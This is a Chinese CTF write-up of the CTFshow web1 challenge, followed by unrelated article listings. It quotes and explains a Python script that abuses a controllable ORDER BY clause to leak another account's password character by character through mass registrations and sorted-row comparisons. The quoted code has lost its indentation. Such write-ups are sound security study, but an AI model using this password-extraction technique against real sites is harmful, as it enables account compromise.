CTFshow web1(困难题)

根据前面做题经验,看见登录框基本都是跑一下爆破,弱口令等等

这里用 dirmap 目录爆破爆出来有一个 www.zip

把他下载下来

看了 login.php 和 reg.php

两个文件的源码都对sql注入常见的字符做了严格的过滤,sql注入此路不通

看了下 main.php 看起来是一个显示用户信息的页面。

我们回到登录界面,注册一个账号并登录查看一下是什么样的效果

出来了一个用户信息表,里面是已注册的用户信息

第一行有个提示 flag_is_my_password

看来是要获取这个用户的密码

(才发现题目有提示)

回到 main.php 源码

关键就是这两句,我们可以控制 order by 的参数

我本人到这里就没思路了。看网上别人的 writeup 发现可以利用 ”order by 密码“ 这种方法来猜解密码

手工来操作比较复杂,所以还是得写脚本

这里找到一位大佬写的脚本:

https://blog.csdn.net/miuzzx/article/details/104514442

#author 羽
import requests
url="https://fa8f49b7-5fc6-4dcb-97a1-b0e842429a9b.chall.ctf.show"
url1=url+"/reg.php" #注册页面
url2=url+"/login.php"#登录界面
url3=url+"/user_main.php?order=pwd" #查询界面
k=""
s="-.0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
for j in range(0,45):
print("*")
for i in s:
#print(i)
l=""
l=k+i
l2 = k+chr(ord(i)-1)
data={'username':l,
'email':'c',
'nickname':'c',
'password':l
}
data2={'username':l,
'password':l
}
if (l=='flag'):
k='flag'
print(k)
break
session = requests.session()
r1 = session.post(url1,data)
r2 = session.post(url2,data)
r3 = session.get(url3)
t = r3.text
#print(l)
if (t.index("<td>"+l+"</td>")>t.index("<td>flag@ctf.show</td>")):
k=l2
print(k)
break

我对这位大佬脚本实现原理的解析:

原网页可以控制 order by 子句的参数,这里可以设置为按照密码排序

按照密码排序时,密码是按照首字符的 ascii 值的大小来排序的。

脚本作者通过爆破字符的方式,注册新账号,并为这些新账号设置1位、2位… 45位的密码,通过查看这些新创建的账号排位是在 flag 账号的上方还是下方来推测 flag 账号的密码。

当设置的密码某一位 ascii 值比 flag 账号的密码对应位的 ascii 值小,就会排在 flag 账号的上面;如果和对应位相等,还是排在上面(因为密码的总长度);只有比对应位的 ascii 值大,这个账号才会排在 flag 账号的下面。

光说明有点抽象,直接看图:

这位大佬的脚本通过一个很巧妙的方式来判断这些记录是在 flag 的上方还是下方(用 t.find也行,同样是返回该标签的首字符位置)

if (t.index("<td>"+l+"</td>")>t.index("<td>flag@ctf.show</td>")):

就是通过 指定字符串 index 的值

值更大,就是在下方

网上很多人的疑问:

为什么这个脚本跑出来的 flag 最后会是 ‘|’ 符号?

这是因为这位大佬的脚本里爆破字符的列表 ‘s’ 里面带有了 ‘|’ 符号

分别查看 ‘{‘ ‘}’ ‘|‘ 这三个字符的 ascii 码,会发现一个很有趣的现象

{:123

|:124

}:125

没错,两个花括号的 ascii 码不是连着的。

原理就研究到这里,我们接下来跑一下这个代码

flag 到手

ctfshow_web_1(困难题)的更多相关文章

  1. LeetCode困难题(一)

    题目一: 给你一个链表,每 k 个节点一组进行翻转,请你返回翻转后的链表. k 是一个正整数,它的值小于或等于链表的长度. 如果节点总数不是 k 的整数倍,那么请将最后剩余的节点保持原有顺序. 示例 ...

  2. LeetCode刷题总结-双指针、位运算和分治法篇

    本文总结LeetCode上有关双指针.位运算和分治法的算法题,推荐刷题总数14道.具体考点分析如下图: 一.双指针 1.字符串和数组问题 题号:424. 替换后的最长重复字符,难度中等 题号:828. ...

  3. LeetCode刷题总结-排序、并查集和图篇

    本文介绍LeetCode上有关排序.并查集和图的算法题,推荐刷题总数为15道.具体考点分析如下图: 一.排序 1.数组问题 题号:164. 最大间距,难度困难 题号:324. 摆动排序 II,难度中等 ...

  4. LeetCode刷题总结-二分查找和贪心法篇

    本文介绍LeetCode上有关二分查找和贪心法的算法题,推荐刷题总数为16道.具体考点归纳如下: 一.二分查找 1.数学问题 题号:29. 两数相除,难度中等 题号:668. 乘法表中第k小的数,难度 ...

  5. LeetCode刷题总结-栈、链表、堆和队列篇

    本文介绍LeetCode上有关栈.链表.堆和队列相关的算法题的考点,推荐刷题20道.具体考点分类如下图: 一.栈 1.数学问题 题号:85. 最大矩形,难度困难 题号:224. 基本计算器,难度困难 ...

  6. LeetCode刷题总结-哈希表篇

    本文总结在LeetCode上有关哈希表的算法题,推荐刷题总数为12题.具体考察的知识点如下图: 1.数学问题 题号:149. 直线上最多的点数,难度困难 题号:554. 砖墙,难度中等(最大最小边界问 ...

  7. LeetCode刷题总结-字符串篇

    本文梳理对LeetCode上有关字符串习题的知识点,并给出对应的刷题建议.本文建议刷题的总数为32题.具体知识点如下图: 1.回文问题 题号:5. 最长回文子串,难度中等 题号:214. 最短回文串, ...

  8. LeetCode刷题总结-动态规划篇

    本文总结LeetCode上有动态规划的算法题,推荐刷题总数为54道.具体考点分析如下图: 1.中心扩展法 题号:132. 分割回文串 II,难度困难 2.背包问题 题号:140. 单词拆分 II,难度 ...

  9. LeetCode刷题总结-数学篇

    本文总结LeetCode上有数学类的算法题,推荐刷题总数为40道.具体考点分析如下图: 1.基本运算问题 题号:29. 两数相除,难度中等 题号:166. 分数到小数,难度中等 题号:372. 超级次 ...

  10. LeetCode刷题总结-DFS、BFS和回溯法篇

    本文总结LeetCode上有关深度优先搜索(DFS).广度优先搜索(BFS)和回溯法的算法题,推荐刷题总数为13道.具体考点分析如下图: 一.深度优先搜索 1.字符匹配问题 题号:301. 删除无效的 ...

随机推荐

  1. 开启 Keep-Alive 可能会导致http 请求偶发失败

    大家好,我是蓝胖子,说起提高http的传输效率,很多人会开启http的Keep-Alive选项,这会http请求能够复用tcp连接,节省了握手的开销.但开启Keep-Alive真的没有问题吗?我们来细 ...

  2. #虚树,树形dp#洛谷 4103 [HEOI2014]大工程

    题目 分析 建一棵虚树,然后树形dp,维护最长/短链和次长/短链, 对于第一个就是统计每条边有多少个点对经过就可以了 代码 #include <cstdio> #include <c ...

  3. #树形dp,二次扫描换根法#洛谷 4284 [SHOI2014]概率充电器

    题目 分析 充电很难做,考虑判断不充电的概率, 设\(dp[x]\)表示点\(x\)无法充电的概率,但是这样有后效性, 考虑先处理子树内的问题,那么 \(dp[x]=(1-p[x])\prod_{y\ ...

  4. Python - 字典4

    复制字典 您不能简单地通过输入 dict2 = dict1 来复制一个字典,因为 dict2 只会成为 dict1 的引用,对 dict1 的更改也会自动应用于 dict2. 有多种方法可以复制字典, ...

  5. linux 性能自我学习 ———— 不可中断进程和僵尸进程 [四]

    前言 简单介绍一下不可中断进程和僵尸进程. 正文 先来看下进程的状态: 那么这一列的状态是什么呢? R 是Running 或 Runnable 的缩写, 表示进程在cpu 的就绪队列中,正在运行或者正 ...

  6. 重新点亮linux 命令树————查看进程[二十一]

    前言 简单介绍一下进程. 正文 进程管理: 进程的概念与进程查看 进程的控制命令 进程的通信方式---信号 守护进程和系统日志 服务管理工具 systemctl SELinux 简介 进程概念: ht ...

  7. 面向切面编程AOP[二](java @EnableAspectJAutoProxy 代码原理)

    前言 @EnableAspectJAutoProxy 是启动aop功能的意思,那么里面是什么呢? 正文 @Target({ElementType.TYPE}) @Retention(Retention ...

  8. ip 记录路由选项

    前言 准备整理网络这块,先把概念整理. ip记录路由选项,这个是做什么的呢? 比如说我们发的一条信息,从一端到另外一端经过了那些路由呢?这是一个问题啊. 这个ip记录路由选项就是来看这个问题的,当然这 ...

  9. Git 中 HEAD、工作树和索引之间的区别

    一.HEAD 在git中,可以存在很多分支,其本质上是一个指向commit对象的可变指针,而Head是一个特别的指针,是一个指向你正在工作中的本地分支的指针 简单来讲,就是你现在在哪儿,HEAD 就指 ...

  10. 力扣1127(MySQL)-用户购买平台(困难)

    题目: 支出表: Spending 这张表记录了用户在一个在线购物网站的支出历史,该在线购物平台同时拥有桌面端('desktop')和手机端('mobile')的应用程序.这张表的主键是 (user_ ...